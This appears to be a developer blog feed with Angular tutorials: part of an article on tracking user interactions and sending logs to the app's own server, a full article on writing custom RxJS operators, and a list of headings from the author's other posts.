The other exposed API in UserEventTrackerService is saveLogs(). This method sends logs to the server in chunks (which I'll explain in the next section) and triggers resetLogs$ to clear previously stored logs.

At first glance, resetLogs$ might seem unnecessary since logs should be accumulate on the client until the app is closed. However, in our use case, we needed to also send logs when the user refreshed the application, clear previous ones, and start accumulating logs again.

export class App {
  private userEventTrackerService = inject(UserEventTrackerService);

  @HostListener('window:beforeunload')
  onPageRefresh() {
    this.userEventTrackerService.saveLogs();
  }
}

Sending Logs To The Server

At first, you might think sending data to the backend is as simple as injecting HttpClient and calling post(), which would create an XMLHttpRequest to save the data. However, the issue with XHR is that it gets canceled if the browser is closed and no analytics would be saved.

There are two better alternatives. The first is the sendBeacon() Navigator API, which allows sending a POST request even when the page is unloading (closing). The downside is that sendBeacon() doesn’t allow headers, authentication or cookies to be included in the request.

The second and more flexible approach is using a standard fetch() request, where we can set up custom headers and enable the keepalive property by setting it to true. It's important to note that the request will be sent to the server when the application is closed/refreshed, but its success depends entirely on the server. This means that the frontend resets the accumulated logs once the request is issued, and if the server fails to complete the request, the logs will be lost.

  private sendToRemote(body: unknown): void {
    const xsrfToken = this.getCookie('XSRF-TOKEN');

    fetch('api/logs', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        ...(xsrfToken ? { 'X-XSRF-TOKEN': xsrfToken } : {}),
      },
      credentials: 'include',
      keepalive: true, // keep the connection alive when app closes
      body: JSON.stringify(body),
    });
  }

Component HTML Structure

You can think of our application as an airline ticketing portal, a form based system spread across multiple routes, where users input details step by step, the final page is the checkout page, however the user can cancel his order on any step.

<form [formGroup]="form" (ngSubmit)="onSubmit()">
    <mat-form-field>
      <mat-label>Email</mat-label>
      <input matInput formControlName="email" />
    </mat-form-field>

    <mat-form-field>
      <mat-label>Gender</mat-label>
      <mat-select formControlName="gender">
        <mat-option value="man">Man</mat-option>
        <mat-option value="woman">Woman</mat-option>
      </mat-select>
    </mat-form-field>

    <mat-radio-group>
      <mat-radio-button value="1">Option 1</mat-radio-button>
      <mat-radio-button value="2">Option 2</mat-radio-button>
    </mat-radio-group>

    <button mat-stroked-button type="submit">Submit</button>
</form>

The challenge is that even if you set up click or focus listeners on these HTML elements, you need to capture two key pieces of information:

The value - inside the HTML element (which is relatively easy to retrieve).
The associated label - of the HTML element (which is much harder to obtain).

Labels are tricky because, for elements like input or mat-select, the label is usually positioned next to the element. But what about radio buttons, checkboxes, or standard buttons? What counts as their label?

Your first instinct might be to use the text inside the element. For example, a button labeled "Submit" would store "Submit" as its label. But this introduces a new challenge: localization. If the app supports multiple languages, debugging user events becomes more complex since the label text would be different depending on the language. What’s labeled "Submit" in English might be "Enviar" in Spanish or "Soumettre" in French, making it harder to track and analyze events consistently across different locales.

Naming HTML Elements

One solution that was proposed, though not ideal, was to apply aria-label to name elements. This approach required manually adding aria-label (or any kind of selector) to buttons, inputs, selects, and any other interactive elements we wanted to track.

The aria-label enhances accessibility, however it can confuse screen readers if the naming is incorrect. Additionally, it should always be localized. I heard a saying which goes "a website without arial is still better than a website full of false ones". The goal is to have a selector that remains in English and is ignored by screen readers. Instead of using aria-label selector, we can introduce the data-label attribute.

<form [formGroup]="form" (ngSubmit)="onSubmit()">
    <mat-form-field>
      <mat-label>Email</mat-label>
      <input data-label="Email" matInput formControlName="email" />
    </mat-form-field>

    <mat-form-field>
      <mat-label>Gender</mat-label>
      <mat-select formControlName="gender">
        <mat-option data-label="Gender" value="man">Man</mat-option>
        <mat-option data-label="Gender" value="woman">Woman</mat-option>
      </mat-select>
    </mat-form-field>

    <mat-radio-group data-label="RadioLabel 1" formControlName="radioEx1">
      <mat-radio-button value="1">Option 1</mat-radio-button>
      <mat-radio-button value="2">Option 2</mat-radio-button>
    </mat-radio-group>

    <button data-label="SubmitButton" mat-stroked-button type="submit">
        Submit
    </button>
</form>

In my opinion, data-label would be the best approach to name elements, however if it is not feasible, in that case maybe keep using the nearest text to the component as its label and ignore the localization problem.

I also want to highlight the position of data-label on different elements, such as mat-select. When opening mat-select, it creates an overlay where the options are displayed. However, this overlay prevents access to the data-label attribute if it is placed on the mat-select itself, making it difficult to retrieve. Therefore, applying it to the mat-option proved to be a more effective solution for reading the label of the select.

Create Global Listeners

The simplest approach to tracking HTML element interactions was to create a single service that listens to DOM events and logs interactions based on the element type. There were several iterations, but our first merged version has a similar structure to this:

@Injectable({
  providedIn: 'root',
})
export class UserEventListenerService {
  private readonly userEventTrackerService = inject(UserEventTrackerService);
  private readonly document = inject(DOCUMENT);
  private readonly ngZone = inject(NgZone);
  private readonly router = inject(Router);
  private readonly dialog = inject(MatDialog);

  start() {
    afterNextRender(() => {
      merge(
        // open dialog log
        this.dialog.afterOpened.pipe(map((dialogRef) => ({ type: 'openDialog' }))),
        // close dialog log
        this.dialog.afterAllClosed.pipe(map(() => ({ type: 'closeDialog' }))),
        // router change log
        this.router.events.pipe(
          filter((e): e is NavigationEnd => e instanceof NavigationEnd),
          map((routerData) => ({ type: 'routerChange', text: routerData['url'] })),
        ),
      ).subscribe((res) => this.userEventTrackerService.createLog(res));

      this.ngZone.runOutsideAngular(() => {
        // listen on click events
        this.document.addEventListener('click', (event) => {
        const target = event.target as HTMLElement;

          if (target.tagName === 'A') {
            this.userEventTrackerService.createLog({
              type: 'clickElement',
              elementType: 'LINK',
              value: target.dataset['label'] ?? 'Unknown',
            });
          }
          // ... other elements

        }, true);

        // listen on input change events
        this.document.addEventListener('change', (event) => {
          const target = event.target as HTMLElement;

          if (target.tagName === 'INPUT') {
            this.userEventTrackerService.createLog({
              type: 'inputChange',
              elementType: 'INPUT',
              elementLabel: target.dataset['label'] ?? 'Unknown',
              value: (target as HTMLInputElement).value,
            });
          }
          // ... other elements

        }, true);
      });
    })
  }
}

The real service is obviously larger and there are multiple conditions to distinguish what type of (tagName) HTML element was interacted with. This is a reduced version for better overview. A few key points to highlights:

Merging Observables: The merge() operator to combine logs for dialog open/close events, as well as navigation changes to capture them.
Event Listeners for Click & Value Changes: The addEventListener listens for both clicks and value changes, and conditionally log the HTML element interactions based on the tagName. Additionally, the capture phase is set to true so the event is caught as it bubbles up. Without this, some events, like radio button changes, weren't caught.
Running Outside Angular's Change Detection: The runOutsideAngular executes tasks outside Angular’s change detection cycle for performance reasons. It’s generally a good practice to prevent unnecessary re-renders.
Prevent SSR Failure: The afterNextRender is triggered only on the client side, once by Angular finishes rendering. It's a recommended way to register a callback that manipulates with DOM elements.

The major benefit of this approach is that we have one globally registered service that will handle the whole application logging as the user interacts with DOM element.

bootstrapApplication(App, {
  providers: [
    // ... other things ...
    provideAppInitializer(() => {
      inject(UserEventListenerService).start();
    }),
  ],
});

Using Directives for More Specific Use Cases

The slight problem, at least I couldn’t solve, was that not everything is possible to handle globally. Example is form submission. While you can still setup global listener on the submit event, and you can get even the validity, I couldn’t get the form structure, the form control names and the values inside the form.

this.document.addEventListener('submit', (event) => {
  const formElement = event.target as HTMLFormElement;

  const isValid = formElement.checkValidity();
  const formStructure = "Dunno"; // please help
}, true);

The problem is that the event.target is a type of HTMLFormElement, and ideally we want the FormGroup type to then get the form’s value. To handle a use case like this directives are the best answerers.

@Directive({
  selector: 'form[formGroup]',
  standalone: true,
  host: {
    '(ngSubmit)': 'onSubmit()',
  },
})
export class FormSubmitDirective {
  private formGroupDirective = inject(FormGroupDirective);
  private userEventTrackerService = inject(UserEventTrackerService);

  onSubmit() {
    const form = this.formGroupDirective.form;
    const isValid = form.valid;
    const values = form.getRawValue();

    if (isValid) {
      this.userEventTrackerService.createLog({
        type: 'formSubmitValid',
        values,
      });
    } else {
      this.userEventTrackerService.createLog({
        type: 'formSubmitInvalid',
        values,
        fieldValidity: getFormValidationState(form),
      });
    }
  }
}

To use the FormSubmitDirective directive, you have to import it into each standalone component that displays the form. The ngSubmit can be triggered as long as the <form> tag is properly formed and contains some interactive element, via keyboard or clicking on the submit button <button type="submit">Submit</button>, otherwise the directive will not catch the form submission.

The getFormValidationState() is a custom util that goes thought the whole form structure, keep the form keys, but replace the values with a VALID / INVALID string whether the field is filled properly.

type ValidationState =
  | 'VALID'
  | 'INVALID'
  | { [key: string]: ValidationState }
  | ValidationState[];

const getFormValidationState = (form: AbstractControl): ValidationState => {
  if (form instanceof FormControl) {
    return form.valid ? 'VALID' : 'INVALID';
  }

  if (form instanceof FormGroup) {
    return Object.keys(form.controls).reduce(
      (acc, key) => ({
        ...acc,
        [key]: getFormValidationState(form.controls[key]),
      }),
      {},
    );
  }

  if (form instanceof FormArray) {
    return form.controls.map((control) => getFormValidationState(control));
  }

  // default use case, shouldn't happen
  return 'INVALID';
};

When submitting an invalid form, where required fields are left empty (or they have any validation error), the form’s invalid state will generate a log like the following:

Directives For Input Changes

You may be wondering why didn't we initially go with directives for HTML element changes, something like this

@Directive({
  selector: 'input',
  standalone: true,
  host: {
    '(change)': 'onChange($event)',
  },
})
export class EventInputsDirective {
 readonly userEventTrackerService = inject(UserEventTrackerService);

  onChange(event: FocusEvent) {
    const inputTarget = event.target as HTMLInputElement;
    const labelName = inputTarget.dataset['label'] ?? 'Unknown';

    this.userEventTrackerService.createLog({
      type: 'inputChange',
      elementType: inputTarget.tagName,
      elementLabel: labelName,
      value: inputTarget.value,
    });
  }
}

This would indeed work. The only drawback we saw was that you would have to import this (and other) directives into each standalone component that you want to track compared to the service that handles input changes globally.

Catch Network By Interceptors

You're likely already familiar with interceptors, but for the sake of completeness, let’s quickly demonstrate how to capture incoming and outgoing requests. The log will capture the full URL, status codes, and the time taken, allowing you to analyze the time between when the request is sent and when the response is received.

export const userEventLoggingInterceptor = (
  req: HttpRequest<unknown>,
  next: HttpHandlerFn,
): Observable<HttpEvent<unknown>> => {
  const service = inject(UserEventTrackerService);

  return next(req).pipe(tap((event) => {
      // send http event
      if (event.type === HttpEventType.Sent) {
        service.createLog({ type: 'apiCall', url: req.urlWithParams });
      }
      // receive http event
      else if (event.type === HttpEventType.Response) {
        trackingService.createLog({
          type: 'apiResponse',
          url: req.urlWithParams,
          status: event.status,
        });
      }
    }),
  );
};

bootstrapApplication(App, {
  providers: [
   provideHttpClient(
     withInterceptors([userEventLoggingInterceptor])
    ),
    // ... other ...
   ]
 })

Summary

In this article I tried to go though a real life web application problem and propose a suitable solution to it. The steps cover how to create a general service that listens on DOM element interactions, identify HTML elements with data-label, create an interceptor to catch network calls, use directives for elements which can not be covered globally, or just manually next a subject to create a custom log.

The last thing I want to briefly touch on is that collecting user data may violate GDPR, so you should obtain user consent before proceeding with data collection.

I hope you liked this article. The whole event tracker is available on Github, you are free to use it in your own projects. Feel free to share your thoughts, read more from me on dev.to or connect with me on LinkedIn.

Create Custom RxJs Operators

Eduard Krivanek — Mon, 27 Jan 2025 15:15:04 +0000

On the recent Angular live interview in January 2025 a question was asked: "Are we ditching Observables and RxJs?".
A simple answer is that RxJs had became optional, but it is far from obsolete. The introduction of signals has added a new tool to Angular's reactive programming toolbox, but RxJs remains valuable for scenarios involving complex data streams, event handling, and real-time updates.

I've already written two articles in 2024 on Advanced RxJs Operators You Know But Not Well Enough - part 1 and part 2, which received positive feedback.
Even though there are plenty of operators to choose from the official RxJs docs, there are times when you wish for a particular operator to solve a unique use case.

In this article, I want to explore how you can create custom RxJs operators and then give you some operators (not just simple loggers) that may be useful to your application. Every operator that will be mentioned in the article can be found in the Github Repository. Those customs operators include:

filterNil() - filters out null and undefined values from the pipe chain
dataPolling() - poll data from an API in some time interval
handleError() - complex error handling by sending data to Sentry and notifying the user
rememberHistory() - caching last N values and accessing previous state of the received data
objectValueChanged() - deep object comparison, emitting only changed states compared to previous
objectChangedFields() - listing out an object’s (form) changed fields
loadingStatus() - similar to the rxResource() API, that works with Observables

What Is An Operator?

To answer this question, it's best to start by looking at the Github RxJs implementations for all available operators. Let’s choose the most common map() operator and see how it is being implemented. At the moment of writing this article, in RxJs version 7.8.1, the map() operator implementation looks as follows:

export function operate<In, Out>(
    { destination, ...subscriberOverrides }: OperateConfig<In, Out>
) {
  return new Subscriber(destination, subscriberOverrides);
}

export function map<T, R>(
    project: (value: T, index: number) => R
): OperatorFunction<T, R> {
  return (source) =>
    new Observable((destination) => {
      // The index of the value from the source.
      let index = 0;
      // Subscribe to the source
      source.subscribe(
        operate({
          destination,
          next: (value: T) => {
            // Call the projection function with the context,
            // and send the resulting value to the consumer.
            destination.next(project(value, index++));
          },
        })
      );
    });
}

This is nice and all, but what does this piece of code tell us? My main takeaway is that, the map() operator is simple a JavaScript function that returns a specific OperatorFunction<T, R> type. The logic what exactly happens inside the function is now irrelevant. What I want to focus on is the returning type. Reading the return type explanation on Github, the authors explain that there are actually two operator types: OperatorFunction and MonoTypeOperatorFunction.

The OperatorFunction type "always takes a single parameter (the source Observable) and returns another Observable.”. The reason why this type is used with the map() operator is that it takes some sort of generic value T as an input and returns a different output R value. This actually makes sense as we can write a predicate that transforms the entire shape of the input object T -> R.

When the output type is the same type as the input type, we can use the MonoTypeOperatorFunction. It’s description says “A function type interface that describes a function that accepts and returns a parameter of the same type.”.

Also worth pointing out that the source variable represents the Observable passed into the operator function when it is invoked within a pipe chain. Meaning when you use the source.subscribe(value => ... ) then value represents the data flowing through the pipe chain into this function.

Start With Basics

End of the theory, let's dive into something practical to understand the basics. To create a simple custom operator, let’s say that we have a stream of numbers and want to multiply them by a specific value. Here's the result we aim to achieve:

const source$ = of(1, 2, 3);
source$.pipe(multiplyBy(6)).subscribe(console.log);
//  6, 12, 18

From what we know so far, we can create something like this:

export function multiplyBy(val = 2): MonoTypeOperatorFunction<number> {
  return (source: Observable<number>): Observable<number> =>
    new Observable<number>((subscriber) => {
      return source.pipe(map((d) => d * val)).subscribe({
        next(value) {
          subscriber.next(value);
        },
        error(err) {
          subscriber.error(err);
        },
        complete() {
          subscriber.complete();
        },
      });
    });
}

The function name is multiplyBy() which is used inside a pipe chain. It returns a MonoTypeOperatorFunction type because, although we modify the data, the type remains the same. Inside the function, we subscribe to the current Observable to access the values flowing through the pipe chain and return a new Observable.

This implementation works fine, however, I didn’t like this extra layer of abstraction by creating an additional Observable wrapping around the source Observable, and also explicitly subscribing to the source. This approach is useful if we need full control over subscription management or have complex custom logic. Since none of these apply to our code, we can simplify our custom operator as follows:

export function multiplyBy(val = 2): MonoTypeOperatorFunction<number> {
  return (source) => source.pipe(map((d) => d * val));
}

The shorter syntax is more readable, so I will continue with it to list out some operators that may be useful in your projects, starting from simple ones up to more complicated ones.

Custom RxJs Operators

1.) Filter Nil

The inspiration for this operator came from the ngxtension library, that I used for some time and I do recommend checking it out. The idea is that we want to filter out undefined and null values from a pipe chain.

export function filterNil<T>(): MonoTypeOperatorFunction<T> {
  return (source) => source.pipe(
      filter((d) => d !== null && d !== undefined)
     );
}

2.) Data Polling

There are situations where you loaded data from an API, cached it, but you wanted to poll the server in some time interval, thought the lifetime of the application, to refresh the data - weather app, stock prices, message polling etc. What I found out was, that it was pretty easy to implement such an operator:

export function dataPolling<T>(data: {
  loader: () => Observable<T>;
  reloadSeconds: number;
}): MonoTypeOperatorFunction<T> {
  return (source) =>
    source.pipe(
      switchMap(() =>
        timer(0, data.reloadSeconds * 1000).pipe(
          switchMap(data.loader)
        )
      )
    );
}

// Component
private http = inject(HttpClient);

constructor() {
  const api = '...'
  this.http.get(api)
    .pipe(
      dataPolling({
         reloadSeconds: 10,
         loader: () => this.http.get(api),
      }),
    ).subscribe((x) => console.log(x));
}

3.) Complex Error Handling

I know I said I won’t do examples with logging, as you can find more than enough of it, however I think it is worth mentioning that when you are doing some more complex logic inside the catchError() operator, it makes sense to create a custom operator for it. Here is an example of reporting the logs into Sentry and also notifying the user when something goes wrong.

export function handleError<T, K>(
  returnValue: K,
  errorMessage = "Server Error"
): OperatorFunction<T, K | T> {
    const sentry = inject(SentryService);
    const notification = inject(NotificationService);

  return (source) =>
    source.pipe(
      catchError((err) => {
        // log error in sentry
        sentry.log(error, 'error')

        // notify the user
        notification.notifyUser(errorMessage, 'error')

        // return something in the pipe chain
        return of(returnValue);
      })
    );
}

4.) Remember History

Have you ever had a situation that you wanted to create an “undo change” button? Maybe caching values that arrived via a Websocket connection, or remember last N form edits by the user? One simple version for caching data can be done as follows:

// defining an interface for the function
// current and crevious values can be different, therefore T & K
type RememberMemory<T, K = T> = {
    // previous value that was cachced
  previous: null | K;
  // currently cached value
  current: T;
  // previous N cached values
  historyChain: unknown[];
};

export function rememberHistory<T>(
    // how many last N values to remember
  memory = 3
): OperatorFunction<T, RememberMemory<T>> {
  return (source) =>
    source.pipe(
      scan(
        (acc, curr) => ({
          current: curr,
          previous: acc.current,
            // remember last N values
          historyChain: [...acc.historyChain.slice(-(memory - 1)), curr]
        }),
        {
          current: null as T, // ignore initial null
          previous: null,
          historyChain: [],
        } as RememberMemory<T>
      )
    );
}

To demonstrate how this pipe works, let’s say you have a stream of data and you want to cache them. When you have the following code, it will result to the below displayed picture. You can also change the logic if you want to change the order in the historyChain to keep the latest data on the first and not on the last position in the array.

from([
  { id: 1, name: "test1" },
  { id: 2, name: "test2" },
  { id: 3, name: "test3" },
  { id: 4, name: "test4" },
]).pipe(
    rememberHistory(4)
  )

5.) Object Value Change

When working with forms, you might listen to the form's valueChanges and only perform specific computations when the form is actually updated. The goal is to ignore intermediate changes, like typing or deleting characters, and only respond to meaningful updates. To solve this you could reach out for distinctUntilChanged() with some predicate and write it as:

this.myForm.valueChanges.pipe(
  debounceTime(800),
  distinctUntilChanged(
    (prev, curr) => JSON.stringify(prev) === JSON.stringify(curr)
  ),
  map(d => /* do something */ )
 )

Using the stringifycation predicate, you are creating a guard to proceed only when the form was updated from it’s previous state. This predicate performs a deep comparison, which also includes checking form arrays and nested form groups.

But what if you need this logic, but you wish to avoid using JSON.stringify ? You’d want a way to compare the previous and current object states, emitting only when they differ. Restricting the usage of distinctUntilChanged() and write out a custom logic to compare object changes can be done as follows:

/**
 * creates a deep comparison between previous and current state
 * and emits only when object values changed (even for nested keys)
 */
export function objectValueChanged<T extends Object>(
  config: {
    debounceTime: number;
  } = {
    debounceTime: 500,
  }
): MonoTypeOperatorFunction<Partial<T>> {
  const isObjectValueChange = <K extends Object | {}>(
    prev: K,
    curr: K
  ): boolean => {
    return Object.keys(curr).some((key) => {
      // value can be anything - string, number, object, etc.
      const previousValue = prev[key as keyof K] as any;
      const currentValue = curr[key as keyof K] as any;

      // if value is object - check child key and value changes
      if (currentValue instanceof Object) {
        return isObjectValueChange(previousValue, currentValue);
      }

      return previousValue !== currentValue;
    });
  };

  return (source) =>
    source.pipe(
      // start with empty object make first emit
      startWith({}),
      // wait for user's input typing
      debounceTime(config.debounceTime),
      // use previous and current object values
      pairwise(),
      // only filter changed values for the object
      filter(([prev, curr]) => isObjectValueChange(prev, curr)),
      // return current object
      map(([_, curr]) => curr)
    );
}

6.) Object Field Changes

Speaking about forms, a more practical use case could be listening to a form and determining which fields have been changed / edited. The goal is to pass the initial state of the form (or object) into the pipe and get two outputs: an array of changed keys and an object where the keys are form field names and the values are booleans indicating if the field was edited. This pipe is indeed more complex, you don’t need to understand it in depth. Below I demonstrate how it works when attaching it on a form.


type Booleanify<T> = {
  [K in keyof T]: T[K] extends object ? Booleanify<T[K]> : boolean;
};

export function objectChangedFields<T extends Object>(
  initial: T
): OperatorFunction<
  Partial<T>,
  {
    viewArray: string[];
    viewObject: Booleanify<T>;
  }
> {
  // identify which fields have changed between two states.
  const getChangedFields = <K extends Object | Array<any>>(
    initial: K,
    current: Partial<K>,
    currentKey = ""
  ): string[] => {
    let changedKeys: string[] = [];
    for (const key of Object.keys(current)) {
      // value can be anything - string, number, object, etc.
      const previousValue = initial[key as keyof K] as any;
      const currentValue = current[key as keyof K] as any;

      // create key to save
      const newKey = currentKey !== "" ? `${currentKey}.${key}` : key;

      // if value is object - check child key and value changes
      if (currentValue instanceof Object) {
        // save nested path
        changedKeys.push(
          ...getChangedFields(previousValue, currentValue, newKey)
        );
        // go to next key
        continue;
      }

      // string or number comparison
      if (previousValue !== currentValue) {
        changedKeys.push(newKey);
      }
    }

    // return saved keys
    return changedKeys;
  };

  // identify which fields have changed between two states.
  const getChangedFieldsObject = <K extends Object>(
    initial: Partial<K>,
    current: Partial<K>,
    cachedObj = {}
  ): Booleanify<K> => {
    for (const key of Object.keys(initial)) {
      // value can be anything - string, number, object, etc.
      const previousValue = initial[key as keyof K] as any;
      const currentValue = current[key as keyof K] as any;

      // if value is object - check child key and value changes
      if (currentValue instanceof Object) {
        // create nested object
        (cachedObj as any)[key] = {};
        // access nested cache
        const nestedCache = (cachedObj as any)[key];
        // check if nested key changed
        getChangedFieldsObject(previousValue, currentValue, nestedCache)
        // go to next key
        continue;
      }

      // string or number comparison
      (cachedObj as any)[key] = previousValue !== currentValue;
    }

    return cachedObj as Booleanify<K>;
  };

  return (source) =>
    source.pipe(
      map((data) => ({
        viewArray: getChangedFields(initial, data),
        viewObject: getChangedFieldsObject(initial, data),
      }))
    );
}

I won’t dive into the details of how it works, there are some any castings and probably if you spend enough time on this, you could make it cleaner, but I’ve linked the GitHub repository at the end for those interested.

What’s important is that you pass the initial state of the object (form) as initial: T to the function. The two functions, getChangedFields() returns an array of keys which were affected, and getChangedFieldsObject() returns an object with boolean values if the key was. changed. Now, let’s see this pipe in action with the following component:

export class ExampleFormComponent {
  private readonly builder = inject(FormBuilder);

  myForm = this.builder.nonNullable.group({
    name: [""],
    email: [""],
    age: [""],
    address: this.builder.group({
      city: [""],
    }),
    items: this.builder.array([
      this.builder.group({
        name: [""],
        amount: [0],
      }),
    ]),
  });

  constructor() {
    this.myForm.valueChanges.pipe(
        objectChangedFields(this.myForm.value)
      ).subscribe((fieldChange) => {
        console.log("Changed fieldsa:", fieldChange);
      });
  }
}

I am passing the this.myForm.value initial state to the custom pipe, but this can be any object to which I want to compare the pipe chain data into. For instance, if the name, address.city and items[0].name fields will be changed, the objectChangedFields() will return the following:

7.) Loading Stats

In November 2024 I published an article titled Creating Custom rxResource API With Observables, where I attempted to recreate a custom rxResource() API that works with Observables instead of signals. The main benefit of this custom API is that, even when working with Observables, you still get access to the loading state of the HTTP request. What I also realized is that I can take this logic and create a custom pipe that includes these HTTP status indicators.

type RxResourceResult<T> = {
  state: "loading" | "loaded" | "error";
  isLoading: boolean;
  data: T | null;
  error?: unknown;
};

/**
 * used mainly for API requests to include HTTP state & data
 * about the HTTP call. Similar to rxResource
 */
 export function loadingStatus<T>(): 
     OperatorFunction<T, RxResourceResult<T>> 
 {
  return (source) =>
    source.pipe(
      map((result) => ({
        state: "loaded" as const,
        data: result,
      })),
      // setup loading state
      startWith({
        state: "loading" as const,
        data: null,
      }),
      // handle error state
      catchError((error) =>
        of({
          state: "error" as const,
          error,
          data: null,
        })
      ),
      // map the result to the expected type
      map(
        (result) =>
          ({
            ...result,
            isLoading: result.state === "loading",
          } satisfies RxResourceResult<T>)
      )
    );
 }

Summary

RxJs already provides bunch of operators to manipulate data in the pipe chain, however, occasionally it happens that you need to create a custom, more specific pipe. From this article, you learned that operators are just simple functions that return either OperatorFunction when the input and output types are different, or MonoTypeOperatorFunction when they stay the same type.

You also have seen a few examples where custom operators could be useful. Personally, I find the objectChangedFields() and loadingStatus() operators to be the most useful. I hope you liked the article. You can find all the above mentioned, and more custom pipe on the following Github repository. Feel free to share your thoughts, and connect with me on dev.to | LinkedIn

DEV Community: Eduard Krivanek

Angular - Power Of Renderer2

Why Direct DOM Access Is Risky

Summary

Exploiting Unvalidated Redirects for XSS

The Scenario

Expected Behaviour

Overview Of XSS Vulnerability In Redirection

Real World Demonstration

Avoid XSS Vulnerability In Redirection

Web Components in Angular - Why Passing Inputs Breaks on Navigation

Incorrect Solutions

Correct Solution

Angular - Custom MatPaginator Styling

Injecting Dependencies

Input / Output Bindings

Core Logic Execution

Core Logic Execution - Switching Page Manually

Paginator Style Updates

Custom Styles

Things to Keep in Mind

Summary

Angular - For Loop Optimizations

afterRenderEffect, afterNextRender, afterEveryRender & Renderer2

Using effect

Using afterRenderEffect

Using afterNextRender and afterEveryRender

Summary

Senior Angular Interview Questions

General Questions

What does it mean to be a senior developer ?

Do you prefer declarative or imperative programming?

Would you use a state management library or a custom implementation?

Angular Questions - General

How would you achieve a parent - child component communication ?

What is the role of NgZone in Angular, and when would you opt out of Angular's change detection?

What is and when to use an Injection Token ?

What are resolution modifiers and how to use them ?

Why would you use a track function in a for-loop and how it works ?

What is the the difference between providers and viewProviders ? Can you provide an example when to use either of them ?

Why pipes are considered safe in a template, but regular function calls (not signals) are not ?

Angular Questions - Signals

How would you convince your team to migrate a project from Observables to signals ?

Can you explain the diamond problem in Observables and why it doesn't occur with signals?

When to use effect and untracked in a signal based application ?

Are life-cycle hooks still needed in a fully signal based application ?

Angular Questions - RxJS

What is a higher-order observable and how they differ ?

What is the difference between share() and shareReplay() ?

What does this code do ? - scan() + expand()

Summary

The Need Of Failing Before Succeeding

Quick Refactoring

Pushing Side Projects

Over-Evaluating Your Skills

Using The New Shiny Tech

Not Asking For Help

Poor Project Management

Letting Your Emotions The Better Of You

NgRx for State Management

Key Takeaways

Build A Full-Stack Application With AnalogJS

Getting Started

Application Routing Overview

Application Routing Detailed

Static Routes

Dynamic Routes

Layout Routes

Catch-All Routes

Route Metadata

Rendering Strategy

Markdown Content Generation

Markdown Content Meta Tags

API routes

API Route Protection

Form Actions

Summary

My Personal Take On Signal Types In Angular

Signal Primitives

Opinion On Effect

Using `effect`

Using `afterRenderEffect`

Using `afterNextRender` and `afterEveryRender`

What is the role of `NgZone` in Angular, and when would you opt out of Angular's change detection?

Why would you use a `track` function in a for-loop and how it works ?

What is the the difference between `providers` and `viewProviders` ? Can you provide an example when to use either of them ?

Why `pipes` are considered safe in a template, but regular function calls (not signals) are not ?

When to use `effect` and `untracked` in a signal based application ?

What is the difference between `share()` and `shareReplay()` ?

What does this code do ? - `scan()` + `expand()`